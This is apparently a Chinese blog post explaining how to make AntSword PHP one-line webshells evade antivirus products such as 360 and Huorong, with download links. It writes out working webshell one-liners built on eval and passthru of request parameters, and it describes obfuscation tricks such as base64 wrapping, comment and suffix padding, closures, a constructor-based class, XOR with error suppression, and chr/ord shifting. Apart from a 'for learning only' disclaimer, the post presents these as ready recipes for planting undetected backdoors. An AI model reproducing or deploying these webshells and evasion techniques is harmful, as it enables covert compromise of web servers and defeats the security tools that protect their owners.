蚁剑PHP一句话木马免杀思路分享(绕过360与火绒)
下载资源
夸克网盘
网盘 App「扫一扫」转存
夸克网盘
网盘 App「扫一扫」转存
⚠️ 本站资源仅供学习交流使用
蚁剑PHP木马免杀思路适用场景
这篇文章主要面向使用蚁剑进行Web渗透测试的朋友,核心目标是解决PHP一句话木马在上传时被安全软件拦截的问题。文中分享的代码思路,着重于让木马先能落地不被查杀,再去考虑流量层面的特征。文中示例均以连接密码为 a 进行演示,适合有一定PHP基础、正在研究免杀绕过的读者参考。
蚁剑PHP木马免杀思路相关安装包下载
为了方便大家下载,我已经给大家整理好了资源。资源链接放在下面,自取就好,如果链接失效,可以在评论区留言,我看到了会及时更新。
夸克网盘下载
手机可复制下载 链接:夸克网盘下载
蚁剑免杀思路与代码示例详解
蚁剑能够连接的关键在于存在 eval 函数。无论是蚁剑还是Godzilla,都是通过代码执行进而命令执行,所以明文马儿里面都会有 eval 函数,这个函数是无法替换的。
这里有个例子:使用 <?php eval($_REQUEST["a"]);?> 蚁剑可以连接成功,但无法直接拼接执行命令。而使用 <?php passthru($_REQUEST["a"]);?>,蚁剑会显示数据为空,但可以拼接执行命令。
构造思路:
- 加密再解密
eval函数。 - 更改
eval写法。
代码实现(示例中连接密码均为a):
- 参数传递 + 注释混淆 + 动态执行:
<?php eval("/*echo*/".$_REQUEST["a"]);?> - 8字节尾部混淆trick:
<?php eval($_REQUEST["a"]."#aaa");?>
当然了,现在这种简单的写法肯定是不免杀的,需要加上加解密。
-
base64加解密:
<?php eval(base64_decode(base64_encode($_REQUEST["a"]))."#aaa");?> -
条件判断(增加传递参数)+编码:通过判断
$_REQUEST["b"]是否为空,来选择执行eval还是输出其他内容。 -
使用闭包函数:定义一个函数
a,其返回一个闭包,在闭包内执行eval,再调用这个闭包。 -
魔术方法(请求参数 -> 对象初始化 -> 代码执行):定义一个类
test,在构造函数中执行eval,实例化时传入请求参数。
独家秘籍(这个已经可以绕过360和火绒了):加个@!!!
- 使用
xorEncryptDecrypt函数对请求参数进行XOR加解密,并在执行eval前加上错误抑制符@。
终极思路(chr配合ord加解密):
- 通过
chr((ord($c) + $offset) % 256)和chr((ord($c) - $offset + 256) % 256)这种位移算法进行加解密。/clean_3.jpg)
/clean_4.jpg)
蚁剑免杀思路注意事项
文中提到的“更改eval写法”和“加个@”等技巧,都是针对特定安全软件版本的测试结果,不同环境下的查杀策略可能会有差异。示例代码中的连接密码均为 a,在实际使用中建议修改。
常见问题
问:为什么蚁剑连接时,明文木马中必须包含eval函数?
答:因为蚁剑等工具是通过执行代码的方式来实现命令执行,所以明文木马中需要存在 eval 函数才能实现连接。
问:文中提到的“终极思路”具体指什么?
答:指的是使用 chr 配合 ord 进行加解密运算的代码实现方法,原文中提到“终极思路(chr配合ord加解密)”。
问:示例代码中的连接密码可以修改吗?
答:可以修改。文中明确指出“代码实现(示例中连接密码均为a)”,说明 a 仅作为示例使用,实际操作中可以根据需要修改。